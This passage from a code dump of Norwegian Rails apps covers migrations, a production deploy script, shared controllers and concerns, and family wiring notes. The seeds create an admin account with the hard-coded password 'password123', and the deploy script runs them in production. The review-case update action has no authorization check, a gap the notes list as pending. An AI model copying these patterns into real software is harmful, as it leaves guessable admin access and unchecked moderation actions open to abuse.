\"rails/health#show\", as: :rails_health_check\nend\n```\n\n## `rails/hjerterom/db/migrate/20260501020807_create_users.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateUsers &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :users do |t|\n      t.string :email_address, null: false\n      t.string :password_digest, null: false\n\n      t.timestamps\n    end\n    add_index :users, :email_address, unique: true\n  end\nend\n```\n\n## `rails/hjerterom/db/migrate/20260501020818_create_sessions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateSessions &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :sessions do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :ip_address\n      t.string :user_agent\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/hjerterom/db/migrate/20260507120001_create_categories.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateCategories &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :categories do |t|\n      t.string :name\n      t.string :slug\n      t.text :description\n      t.string :type_of\n      t.timestamps\n    end\n    add_index :categories, :slug, unique: true\n  end\nend\n```\n\n## `rails/hjerterom/db/migrate/20260507120002_create_resources.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateResources &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :resources do |t|\n      t.references :user, foreign_key: true\n      t.references :category, foreign_key: true\n      t.string :title\n      t.text :description\n      t.string :url\n      t.string :address\n      t.string :city\n      t.string :postal_code\n      t.float :latitude\n      t.float :longitude\n      t.string :phone\n      t.string :email\n      t.boolean :verified, default: false\n      t.string :resource_type\n      t.text :opening_hours\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/hjerterom/db/migrate/20260507120003_create_crises.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateCrises &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :crises do |t|\n      t.string :title\n      t.text :description\n      t.string :phone\n      t.string :sms\n      t.string :chat_url\n      t.boolean :available_24h, default: false\n      t.string :languages\n      t.string :country\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/hjerterom/db/migrate/20260507120004_create_food_listings.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateFoodListings &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :food_listings do |t|\n      t.references :user, foreign_key: true\n      t.string :title\n      t.text :description\n      t.integer :quantity\n      t.string :unit\n      t.datetime :available_from\n      t.datetime :available_until\n      t.string :pickup_address\n      t.string :city\n      t.float :latitude\n      t.float :longitude\n      t.string :status\n      t.string :dietary_info\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/hjerterom/db/migrate/20260507120005_create_food_requests.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateFoodRequests &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :food_requests do |t|\n      t.references :food_listing, foreign_key: true\n      t.references :user, foreign_key: true\n      t.text :message\n      t.string :status\n      t.datetime :pickup_time\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/hjerterom/db/migrate/20260507120006_create_posts.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePosts &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :posts do |t|\n      t.references :user, foreign_key: true\n      t.references :category, foreign_key: true\n      t.string :title\n      t.boolean :anonymous, default: false\n      t.boolean :pinned, default: false\n      t.integer :views_count, default: 0\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/hjerterom/db/migrate/20260507120007_create_comments.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateComments &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :comments do |t|\n      t.references :user, foreign_key: true\n      t.references :post, foreign_key: true\n      t.integer :parent_id\n      t.text :content\n      t.boolean :anonymous, default: false\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/hjerterom/db/migrate/20260507120008_create_support_requests.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateSupportRequests &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :support_requests do |t|\n      t.references :user, foreign_key: true\n      t.string :subject\n      t.string :status\n      t.string :priority\n      t.datetime :resolved_at\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/hjerterom/db/migrate/20260524000100_create_hjerterom_core.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateHjerteromCore &lt; ActiveRecord::Migration[8.0]\n  def change\n    create_table :donors do |t|\n      t.string :name, null: false\n      t.string :email\n      t.string :phone\n      t.boolean :active, null: false, default: true\n      t.text :notes\n      t.timestamps\n    end\n\n    create_table :beneficiaries do |t|\n      t.string :name, null: false\n      t.string :area\n      t.integer :household_size\n      t.integer :priority, null: false, default: 0\n      t.boolean :active, null: false, default: true\n      t.text :notes\n      t.timestamps\n    end\n\n    create_table :donations do |t|\n      t.references :donor, foreign_key: true\n      t.string :source_name, null: false\n      t.string :pickup_window\n      t.integer :status, null: false, default: 0\n      t.text :notes\n      t.timestamps\n    end\n\n    create_table :boxes do |t|\n      t.references :beneficiary, foreign_key: true\n      t.date :week_start, null: false\n      t.integer :status, null: false, default: 0\n      t.text :notes\n      t.timestamps\n    end\n\n    create_table :food_items do |t|\n      t.references :donation, null: false, foreign_key: true\n      t.references :box, foreign_key: true\n      t.string :name, null: false\n      t.integer :quantity\n      t.integer :category, null: false, default: 6\n      t.integer :quality_state, null: false, default: 0\n      t.date :best_before\n      t.text :notes\n      t.timestamps\n    end\n\n    create_table :volunteers do |t|\n      t.string :name, null: false\n      t.string :email\n      t.string :phone\n      t.boolean :active, null: false, default: true\n      t.text :notes\n      t.timestamps\n    end\n\n    create_table :shifts do |t|\n      t.references :volunteer, foreign_key: true\n      t.datetime :starts_at, null: false\n      t.datetime :ends_at, null: false\n      t.integer :kind, null: false, default: 1\n      t.integer :state, null: false, default: 0\n      t.string :location\n      t.text :notes\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/hjerterom/db/seeds.rb`\n```ruby\n# frozen_string_literal: true\n\nadmin = User.find_or_create_by!(email_address: \"admin@hjerterom.no\") do |u|\n  u.password = u.password_confirmation = \"password123\"\nend\n\ncrisis_lines = [\n  { title: \"Mental Helse Hjelpelinjen\", phone: \"116 123\", available_24h: true, languages: \"Norsk\", country: \"NO\" },\n  { title: \"Kirkens SOS\", phone: \"22 40 00 40\", available_24h: true, languages: \"Norsk\", country: \"NO\" },\n  { title: \"R\u00f8de Kors Bes\u00f8kstjeneste\", phone: \"800 33 321\", available_24h: false, languages: \"Norsk\", country: \"NO\" },\n]\ncrisis_lines.each { |c| Crisis.find_or_create_by!(title: c[:title]) { |cr| cr.update(c) } }\n\ncats = [\n  { name: \"Angst\",     slug: \"angst\",    type_of: \"mental_health\" },\n  { name: \"Depresjon\", slug: \"depresjon\", type_of: \"mental_health\" },\n  { name: \"Ensomhet\",  slug: \"ensomhet\",  type_of: \"mental_health\" },\n  { name: \"Mat\",       slug: \"mat\",       type_of: \"food\" },\n]\ncats.each { |c| Category.find_or_create_by!(slug: c[:slug]) { |cat| cat.update(c) } }\n\nputs \"Seeded crisis lines and categories\"\n```\n\n## `rails/hjerterom/hjerterom.sh`\n```bash\n#!/usr/bin/env zsh\n# hjerterom.sh \u2014 deploys the tracked hjerterom Rails tree at app/.\nset -euo pipefail\n\nAPP_NAME=hjerterom\nAPP_DIR=/home/${APP_NAME}/app\nAPP_PORT=38891\nAPP_DOMAIN=hjerterom.no\nSCRIPT_DIR=${0:a:h}\nSRC_DIR=${SCRIPT_DIR}\nSHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}\n\n. \"${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh\"\n\nneed_cmd ruby34 bundle doas\n\n[[ -d $SRC_DIR ]] || { log_err \"missing source tree: $SRC_DIR\"; exit 1; }\n\nlog \"${APP_NAME} \u2014 deploying tracked tree \u2192 ${APP_DIR}\"\n\nid \"$APP_NAME\" &gt;/dev/null 2&gt;&amp;1 || doas useradd -m -L daemon -s /bin/ksh \"$APP_NAME\"\ndoas mkdir -p \"$APP_DIR\"\n\n# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)\ndoas cp -R \"${SCRIPT_DIR:h}/shared/bin/.\" \"${APP_DIR}/bin/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/public/.\" \"${APP_DIR}/public/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/config/.\" \"${APP_DIR}/config/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/app/.\" \"${APP_DIR}/app/\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/Rakefile\" \"${APP_DIR}/Rakefile\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/config.ru\" \"${APP_DIR}/config.ru\" 2&gt;/dev/null || true\n\n# Per-app tracked tree last (specialized instances + custom overrides win)\ndoas cp -R \"${SRC_DIR}/.\" \"${APP_DIR}/\"\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"$APP_DIR\"\n\ncd \"$APP_DIR\"\n\ntypeset bundle_home=\"/home/${APP_NAME}/.bundle\"\ndoas mkdir -p \"$bundle_home\"\n\nif [[ ! -d ${bundle_home}/gems ]]; then\n  if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then\n    log \"Bootstrapping gems from ${SHARED_BUNDLE_CACHE}\"\n    doas cp -R \"${SHARED_BUNDLE_CACHE}/gems\" \"$bundle_home/\"\n    [[ -d ${SHARED_BUNDLE_CACHE}/cache ]] &amp;&amp; doas cp -R \"${SHARED_BUNDLE_CACHE}/cache\" \"$bundle_home/\" || true\n  else\n    log_warn \"No shared bundle cache found; bundle install will resolve gems normally\"\n  fi\n  doas chown -R \"${APP_NAME}:${APP_NAME}\" \"$bundle_home\"\nfi\n\ndoas mkdir -p \"${APP_DIR}/.bundle\"\nprint -- \"---\\nBUNDLE_PATH: \\\"${bundle_home}/gems\\\"\" | doas tee \"${APP_DIR}/.bundle/config\" &gt;/dev/null\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"${APP_DIR}/.bundle\"\n\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; bundle config set --local deployment true &amp;&amp; bundle config set --local without 'development test' &amp;&amp; RAILS_ENV=production bundle install\"\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:create db:migrate\"\n[[ -f ${APP_DIR}/db/seeds.rb ]] &amp;&amp; doas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:seed\" || true\n\ninstall_rcd \"$APP_NAME\" \"$APP_DIR\" \"$APP_PORT\" \"$APP_NAME\"\n[[ -n $APP_DOMAIN ]] &amp;&amp; relayd_add_relay \"$APP_DOMAIN\" \"$APP_PORT\"\n\ndoas rcctl restart \"$APP_NAME\" || doas rcctl start \"$APP_NAME\"\nlog_ok \"$APP_NAME live on :$APP_PORT\"\n```\n\n## `rails/marketplace/app/controllers/marketplace/listings_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Marketplace\n  class ListingsController &lt; ApplicationController\n    before_action :set_listing, only: %i[show edit update destroy]\n\n    def index\n      @listings = Listing.published.includes(:vendor, :category)\n      @listings = @listings.where(category_id: params[:category_id]) if params[:category_id]\n\n      respond_to do |format|\n        format.html\n        format.turbo_stream\n      end\n    end\n\n    def show\n    end\n\n    def create\n      @listing = Listing.new(listing_params.merge(vendor: current_user.vendor))\n\n      if @listing.save\n        EventDispatcher.dispatch(:ListingCreated, @listing)\n        redirect_to @listing, notice: \"Listing created\"\n      else\n        render :new, status: :unprocessable_entity\n      end\n    end\n\n    private\n\n    def set_listing\n      @listing = Listing.find(params[:id])\n    end\n\n    def listing_params\n      params.require(:listing).permit(\n        :title,\n        :description,\n        :price_cents,\n        :category_id,\n        :status,\n        photos: []\n      )\n    end\n  end\nend\n```\n\n## `rails/marketplace/app/views/marketplace/listings/index.html.erb`\n```erb\n\nMarketplace Deals\n\n\n\n\n  \n\n  \n\n    &lt;% @listings.each do |listing| %&gt;\n      &lt;%= render partial: \"listing_card\", locals: { listing: listing } %&gt;\n    &lt;% end %&gt;\n  \n\n```\n\n## `rails/shared/Rakefile`\n```text\n# Add your own tasks in files placed in lib/tasks ending in .rake,\n# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.\n\nrequire_relative \"config/application\"\n\nRails.application.load_tasks\n```\n\n## `rails/shared/WIRING_NOTES.md`\n```markdown\n# Shared Rails wiring notes\n\n**Current model (as of 2026):** Each product maintains its own `app/` tree. `shared/` is copied in via small install scripts during setup/bootstrap. The long-term goal remains turning this into a proper engine or gem, but the immediate priority is consistency across the family via documentation + conventions.\n\nThis file describes how each app should connect the shared layer until `DEPLOY/rails/shared` is packaged as a real Rails engine or gem.\n\n## Copy shared files\n\nRun from `DEPLOY/rails`:\n\n```sh\nsh shared/install_frontend_baseline.sh amber\nsh shared/install_frontend_baseline.sh brgen\nsh shared/install_frontend_baseline.sh baibl\nsh shared/install_frontend_baseline.sh blognet\nsh shared/install_frontend_baseline.sh bsdports\nsh shared/install_frontend_baseline.sh hjerterom\n```\n\n## Social endpoints to mount in each app\n\nAdd app-local routes that point to the copied shared controllers:\n\n- one endpoint that calls `Shared::ReactionsController#create`\n- one notifications index endpoint\n- one notification update/read endpoint\n- one notifications read-all endpoint\n- one review-case create endpoint\n- one review-case update endpoint\n\nKeep the path names product-specific where needed:\n\n- Brgen: reaction, notifications, review cases\n- Amber: item/outfit reactions, notifications, review cases\n- Blognet: article reactions, notifications, review cases\n- Baibl: annotation reactions, notifications, review cases\n\n## Model inclusion\n\nInclude shared concerns in app models deliberately:\n\n```ruby\nclass Post &lt; ApplicationRecord\n  include Shared::Reactable\nend\n\nclass Outfit &lt; ApplicationRecord\n  include Shared::Reactable\nend\n```\n\nOnly include `Shared::Followable` on models that users should be able to subscribe to.\n\n## Signed target IDs\n\nShared controllers expect signed global IDs for targets. Views should use:\n\n```ruby\nrecord.to_sgid.to_s\n```\n\nThis keeps polymorphic user-facing action targets tamper-resistant.\n\n## Next hardening\n\n- Add app-local authorization before review updates.\n- Add tests for every mounted route.\n- Replace copy/install with a Rails engine once app structure stabilizes.\n\n## Visual System &amp; Component Inheritance (Brgen as Base)\n\nBrgen's `app/assets/stylesheets/application.css` is the canonical visual source of truth for the entire city app family:\n- X.com 3-column layout (275px sidebar / 600px feed / 350px widgets)\n- Dark cinema palette (--bg #000, --surface2 #16181c, --accent #1d9bf0, etc.)\n- NNG-compliant spacing, typography, and interaction tokens\n\nAll other apps should:\n1. Import or copy the `:root` custom properties from Brgen.\n2. Gradually align their components (cards, nav, forms, modals) to Brgen patterns.\n3. Prefer components from `shared/frontend/` + Brgen's Stimulus controllers where possible.\n\nThis ensures a single coherent \"watch from afar\" aesthetic across Brgen, Amber, Blognet, etc. while allowing product-specific branding on top.\n\n**Quick rollout checklist for new apps**:\n1. Copy `:root` custom properties from Brgen's `application.css`.\n2. Import `shared/frontend/stimulus_components.js` baseline.\n3. Align major components (cards, nav, forms) to Brgen tokens.\n4. Test reduced-motion + coarse pointer profiles.\n\n## Stimulus Components Baseline\n\n`shared/frontend/stimulus_components.js` + Brgen's controller set (clipboard, lightbox, media_picker, geolocation, notification, timeago, typing, etc.) is the shared component library. New apps and verticals should start from these rather than duplicating. See `shared/STIMULUS_COMPONENTS_BASELINE.md` (and Brgen's `app/javascript/controllers/`).\n\n## LLM / AI Readiness\n\napps.yml is the canonical structured surface for MASTER scans (`/scan`, `/sweep`, council). Future LLM features (recommendations, ranking, moderation assistance, content generation) should be added as new rows there first, then wired via small shared concerns or services. Brgen's \"ai\" vertical is the primary experimentation surface. All apps should emit consistent activity events so AI ranking can work across the unified graph (see brgen_CORE.md).\n\n## Unified Activity Graph + Modern Hotwire Reactivity (2025-2026 Patterns)\n\nBrgen (and by extension the whole family) should treat every vertical action as an event in one city activity graph (actor, vertical, event_type, locality, target, visibility, timestamp, metadata). This single source powers feeds, discovery, notifications, moderation, and recommendations.\n\nInspiration from current best practice (Hotwire + StimulusReflex production apps + LBSN/graph recsys research):\n- Use Turbo Streams + Action Cable (or StimulusReflex/CableReady) for live \"something just happened near you\" updates across marketplace, dating, tv, playlist, takeaway, etc.\n- All subapps must emit to the shared Activity stream instead of building private feeds.\n- Graph-powered recs (collab filtering + location + social signals) become possible once the unified event stream exists.\n- See popular patterns in current Hotwire social/community apps and location-based recommendation papers.\n\nImplementation rule: New features in any app must add an Activity emission + a Turbo Stream consumer before building custom real-time UI.\n\n**Practical starter**:\n- From services: `Shared::EventEmitter.call(\"Vertical::ActionHappened\", actor_id: ..., vertical: \"marketplace\", ...)`\n- From controllers: `include Shared::StructuredEvents` then `emit_event(\"Vertical::ActionHappened\", ...)`\n\nSee `shared/app/services/shared/event_emitter.rb` and `shared/app/controllers/concerns/shared/structured_events.rb`. This feeds the unified graph + Hotwire.\n\n## Shared Concerns &amp; Mixins\n\nThe `shared/app/models/concerns/shared/` and `shared/app/controllers/concerns/shared/` provide reusable behavior:\n\n- **Reactable** (models): `include Shared::Reactable` \u2192 adds `reactions`, `reacted_by?`, `reaction_count`.\n- **Followable** (models): `include Shared::Followable` \u2192 adds `follows_received`, `followed_by?`, `followers_count`.\n- **LiveSearchable** (controllers): `include Shared::LiveSearchable` \u2192 provides `live_search_query`, `live_search_scope`, `render_live_search` for Turbo Streams.\n- **ActorIdentity**, **MediaGuard**, **StructuredEvents**: Supporting mixins for current user, upload guards, and event emission.\n\n**Usage pattern** (in your app models/controllers):\n\n```ruby\nclass Post &lt; ApplicationRecord\n  include Shared::Reactable\n  include Shared::Followable   # if posts can be followed\nend\n\nclass PostsController &lt; ApplicationController\n  include Shared::LiveSearchable\n\n  def index\n    @posts = live_search_scope(Post.all, columns: %w[title content])\n    render_live_search(collection: @posts, partial: \"posts/post\")\n  end\nend\n```\n\nSee the files in `shared/app/{models,controllers}/concerns/shared/` for full implementations and `shared/WIRING_NOTES.md` for family-wide guidance. Wire these early when adding social or search features.\n\n## Photo / Multimodal Upload Inheritance\n\nPhoto creation (upload + processing) is intentionally allowed for unauthenticated visitors on the public surface (`https://ai.brgen.no` without token). This enables multimodal chat experiences for everyone while keeping deeper agent filesystem tools (`ReadFile`, `WriteFile`, `ListDir`, arbitrary `Shell`, etc.) restricted to token-authenticated users.\n\n- The `/photo` endpoint and `image_token` resolution in chat are open to visitors.\n- Uploaded images are stored in a scoped tmp directory per app and referenced via short-lived image tokens.\n- When wiring a new app (amber, hjerterom, etc.), mount the photo upload route and ensure the `ActiveStorage` + postpro pipeline is present if you want vision features.\n- Agent-side tools that touch the real filesystem remain gated by the tool registry (`data/tools.yml` + `LLMDispatcher` visitor filtering). Never grant `Reach::ReadFile` / `WriteFile` etc. to visitors.\n\nSee `chat_controller.rb` (photo + uploaded_image_payload) and recent security carve-outs for the exact boundaries.\n\n**Standardization tip**: When adding photo support to a new app, mount the upload route and ensure `ActiveStorage` + post-processing is wired (use Brgen as reference). Keep the visitor-allowed carve-out for public multimodal chat.\n\n## OpenBSD Provisioning &amp; Service Wiring (reference patterns)\nrc.d services (falcon/puma per-app on distinct ports), relayd tables/healthchecks, and per-vertical feature scripts (auth, voting, styles, social, models) provide a repeatable template. All family apps should converge on the same rc.d + relayd + Solid stack baseline for doas rcctl consistency. Shared functions for gem groups, db setup, and layout/CSS baselines reduce drift across brgen, amber, blognet, hjerterom.\n\n**Pure Zsh preference**: New provisioning logic should favor zsh parameter expansion and builtins over external tools (grep, sed, awk, etc.) where practical, per the broader pub4 conventions. See current thin deploy scripts (e.g. `brgen/brgen.sh`) as the model rather than the heavier legacy @*.sh helpers.\n```\n\n## `rails/shared/app/controllers/concerns/shared/actor_identity.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  module ActorIdentity\n    extend ActiveSupport::Concern\n\n    private\n\n    def shared_actor\n      return current_or_guest_user if respond_to?(:current_or_guest_user, true)\n      return current_user if respond_to?(:current_user, true)\n    end\n  end\nend\n```\n\n## `rails/shared/app/controllers/concerns/shared/live_searchable.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  module LiveSearchable\n    extend ActiveSupport::Concern\n\n    included do\n      helper_method :live_search_query if respond_to?(:helper_method)\n    end\n\n    private\n\n    def live_search_query\n      params[:q].to_s.strip\n    end\n\n    def live_search_scope(scope, columns:)\n      query = live_search_query\n      return scope if query.empty?\n\n      adapter = ActiveRecord::Base.connection.adapter_name.downcase\n      if adapter.include?(\"sqlite\")\n        like = \"%#{ActiveRecord::Base.sanitize_sql_like(query)}%\"\n        predicate = columns.map { |column| \"#{column} LIKE :query\" }.join(\" OR \")\n        scope.where(predicate, query: like)\n      else\n        like = \"%#{ActiveRecord::Base.sanitize_sql_like(query)}%\"\n        predicate = columns.map { |column| \"#{column} ILIKE :query\" }.join(\" OR \")\n        scope.where(predicate, query: like)\n      end\n    end\n\n    def render_live_search(collection:, partial:, locals: {})\n      respond_to do |format|\n        format.html\n        format.turbo_stream do\n          render turbo_stream: turbo_stream.replace(\n            \"live_search_results\",\n            partial: partial,\n            locals: locals.merge(collection: collection, query: live_search_query)\n          )\n        end\n      end\n    end\n  end\nend\n```\n\n## `rails/shared/app/controllers/concerns/shared/media_guard.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  module MediaGuard\n    extend ActiveSupport::Concern\n\n    MEDIA_MAX_BYTES = Integer(ENV.fetch(\"RAILS_SHARED_MEDIA_MAX_BYTES\", 20 * 1024 * 1024))\n    MEDIA_ALLOWED_TYPES = %w[image/jpeg image/png image/webp image/heic image/heif].freeze\n\n    private\n\n    def validate_media_upload(upload)\n      return :missing unless upload.respond_to?(:read)\n      return :too_large if upload.respond_to?(:size) &amp;&amp; upload.size.to_i &gt; MEDIA_MAX_BYTES\n      return :unsupported unless MEDIA_ALLOWED_TYPES.include?(upload.content_type.to_s.downcase)\n\n      :ok\n    end\n\n    def safe_upload_name(name, fallback: \"upload\")\n      base = File.basename(name.to_s)\n      ext = File.extname(base).downcase\n      stem = File.basename(base, ext).gsub(/[^A-Za-z0-9._-]+/, \"_\").sub(/\\A[._-]+/, \"\")\n      stem = fallback if stem.empty?\n      \"#{stem}#{ext}\"\n    end\n  end\nend\n```\n\n## `rails/shared/app/controllers/concerns/shared/structured_events.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  module StructuredEvents\n    extend ActiveSupport::Concern\n\n    private\n\n    def emit_event(name, **payload)\n      if defined?(Rails.event) &amp;&amp; Rails.event.respond_to?(:notify)\n        Rails.event.notify(name, **payload)\n      else\n        Rails.logger.info({ event: name, payload: payload }.to_json)\n      end\n    rescue StandardError =&gt; e\n      Rails.logger.debug(\"structured event skipped: #{name} #{e.class}: #{e.message}\")\n    end\n  end\nend\n```\n\n## `rails/shared/app/controllers/shared/notifications_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class NotificationsController &lt; ApplicationController\n    before_action :require_current_user\n\n    def index\n      @notifications = notification_scope.recent.limit(50)\n    end\n\n    def update\n      notification_scope.find(params[:id]).mark_as_read!\n      respond_to do |format|\n        format.html { redirect_back fallback_location: main_app.root_path }\n        format.turbo_stream\n        format.json { head :no_content }\n      end\n    end\n\n    def read_all\n      notification_scope.unread.update_all(read_at: Time.current, updated_at: Time.current)\n      respond_to do |format|\n        format.html { redirect_back fallback_location: main_app.root_path }\n        format.turbo_stream\n        format.json { head :no_content }\n      end\n    end\n\n    private\n\n    def notification_scope\n      klass = defined?(::Notification) ? ::Notification : Shared::Notification\n      klass.where(user: current_user)\n    end\n\n    def require_current_user\n      return if respond_to?(:current_user, true) &amp;&amp; current_user\n\n      redirect_to main_app.root_path, alert: \"Sign in required\"\n    end\n  end\nend\n```\n\n## `rails/shared/app/controllers/shared/reactions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class ReactionsController &lt; ApplicationController\n    before_action :require_current_user\n\n    def create\n      target = GlobalID::Locator.locate_signed!(params.require(:target_gid))\n      kind = params[:kind].presence || \"like\"\n      active = Shared::ReactionToggle.call(user: current_user, reactable: target, kind: kind)\n\n      respond_to do |format|\n        format.html { redirect_back fallback_location: main_app.root_path, notice: active ? \"Reaction added\" : \"Reaction removed\" }\n        format.turbo_stream\n        format.json { render json: { active: active, kind: kind } }\n      end\n    end\n\n    private\n\n    def require_current_user\n      return if respond_to?(:current_user, true) &amp;&amp; current_user\n\n      redirect_to main_app.root_path, alert: \"Sign in required\"\n    end\n  end\nend\n```\n\n## `rails/shared/app/controllers/shared/review_cases_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class ReviewCasesController &lt; ApplicationController\n    before_action :require_current_user\n\n    def create\n      target = GlobalID::Locator.locate_signed!(params.require(:target_gid))\n      review_case = Shared::ReviewCase.create!(\n        reporter: current_user,\n        reviewable: target,\n        reason: params[:reason].presence || \"other\",\n        notes: params[:notes]\n      )\n\n      respond_to do |format|\n        format.html { redirect_back fallback_location: main_app.root_path, notice: \"Sent for review\" }\n        format.turbo_stream\n        format.json { render json: { id: review_case.id, state: review_case.state }, status: :created }\n      end\n    end\n\n    def update\n      review_case = Shared::ReviewCase.find(params[:id])\n      action = params[:review_action].to_s\n      action == \"ignore\" ? review_case.ignore!(current_user) : review_case.close!(current_user)\n\n      respond_to do |format|\n        format.html { redirect_back fallback_location: main_app.root_path }\n        format.turbo_stream\n        format.json { render json: { id: review_case.id, state: review_case.state } }\n      end\n    end\n\n    private\n\n    def require_current_user\n      return if respond_to?(:current_user, true) &amp;&amp; current_user\n\n      redirect_to main_app.root_path, alert: \"Sign in required\"\n    end\n  end\nend\n```\n\n## `rails/shared/app/helpers/application_helper.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule ApplicationHelper\n  include SchemaHelper\nend\n```\n\n## `rails/shared/app/helpers/schema_helper.rb`\n```ruby\n# frozen_string_literal: true\n\n# Shared schema.org JSON-LD helper.\n# Implements SEO / structured data requirements from apps.yml and ruby_style.\n#\n# Usage in controllers or views:\n#   content_for :json_ld, json_ld_for(@post, type: :article)\n#   # or\n#   &lt;%= json_ld_for(@restaurant, type: :local_business) %&gt;\n#\n# Supports common Brgen vertical entities: Post, Profile/User, Listing, Restaurant,\n# Video, Event, Recipe (food), Product (marketplace).\n\nmodule SchemaHelper\n  def json_ld_for(resource, type: nil)\n    data = build_schema(resource, type)\n    return \"\" if data.blank?\n\n    content_tag :script, data.to_json.html_safe,\n                type: \"application/ld+json\",\n                data: { turbo_permanent: true }\n  end\n\n  private\n\n  def build_schema(resource, explicit_type)\n    return nil unless resource.present?\n\n    case (explicit_type || infer_type(resource)).to_s\n    when \"article\", \"post\"\n      article_schema(resource)\n    when \"person\", \"profile\", \"user\"\n      person_schema(resource)\n    when \"local_business\", \"restaurant\"\n      local_business_schema(resource)\n    when \"product\", \"listing\"\n      product_schema(resource)\n    when \"video\", \"video_object\"\n      video_schema(resource)\n    when \"recipe\"\n      recipe_schema(resource)\n    else\n      generic_schema(resource)\n    end\n  end\n\n  def infer_type(resource)\n    case resource.class.name\n    when /Post/, /Article/ then :article\n    when /User/, /Profile/ then :person\n    when /Restaurant/, /Takeaway/ then :local_business\n    when /Listing/, /Marketplace/ then :product\n    when /Video/, /Tv::/ then :video_object\n    when /Recipe/, /Food/ then :recipe\n    else :thing\n    end\n  end\n\n  def article_schema(post)\n    {\n      \"@context\" =&gt; \"https://schema.org\",\n      \"@type\" =&gt; \"Article\",\n      \"headline\" =&gt; post.try(:title) || post.try(:body)&amp;.truncate(80),\n      \"author\" =&gt; person_snippet(post.try(:user) || Current.user),\n      \"datePublished\" =&gt; post.created_at&amp;.iso8601,\n      \"dateModified\" =&gt; post.updated_at&amp;.iso8601,\n      \"description\" =&gt; post.try(:body)&amp;.truncate(200),\n      \"url\" =&gt; schema_url_for(post)\n    }.compact\n  end\n\n  def person_schema(user)\n    {\n      \"@context\" =&gt; \"https://schema.org\",\n      \"@type\" =&gt; \"Person\",\n      \"name\" =&gt; user.try(:name) || user.try(:username) || \"User\",\n      \"url\" =&gt; schema_url_for(user),\n      \"image\" =&gt; user.try(:avatar_url)\n    }.compact\n  end\n\n  def local_business_schema(place)\n    {\n      \"@context\" =&gt; \"https://schema.org\",\n      \"@type\" =&gt; \"LocalBusiness\",\n      \"name\" =&gt; place.try(:name) || place.try(:title),\n      \"address\" =&gt; place.try(:address),\n      \"geo\" =&gt; geo_snippet(place),\n      \"url\" =&gt; schema_url_for(place)\n    }.compact\n  end\n\n  def product_schema(listing)\n    price = listing.try(:price_cents).to_i / 100.0 if listing.try(:price_cents).to_i &gt; 0\n\n    data = {\n      \"@context\" =&gt; \"https://schema.org\",\n      \"@type\" =&gt; \"Product\",\n      \"name\" =&gt; listing.try(:title),\n      \"description\" =&gt; listing.try(:description)&amp;.truncate(300),\n      \"url\" =&gt; schema_url_for(listing),\n      \"sku\" =&gt; listing.try(:id)&amp;.to_s,\n      \"brand\" =&gt; { \"@type\" =&gt; \"Brand\", \"name\" =&gt; listing.try(:user)&amp;.name || \"Local Seller\" },\n      \"offers\" =&gt; {\n        \"@type\" =&gt; \"Offer\",\n        \"price\" =&gt; price,\n        \"priceCurrency\" =&gt; listing.try(:currency) || \"NOK\",\n        \"availability\" =&gt; listing.sold? ? \"https://schema.org/OutOfStock\" : \"https://schema.org/InStock\",\n        \"url\" =&gt; schema_url_for(listing)\n      }.compact\n    }\n\n    if listing.respond_to?(:photos) &amp;&amp; listing.photos.attached?\n      data[\"image\"] = 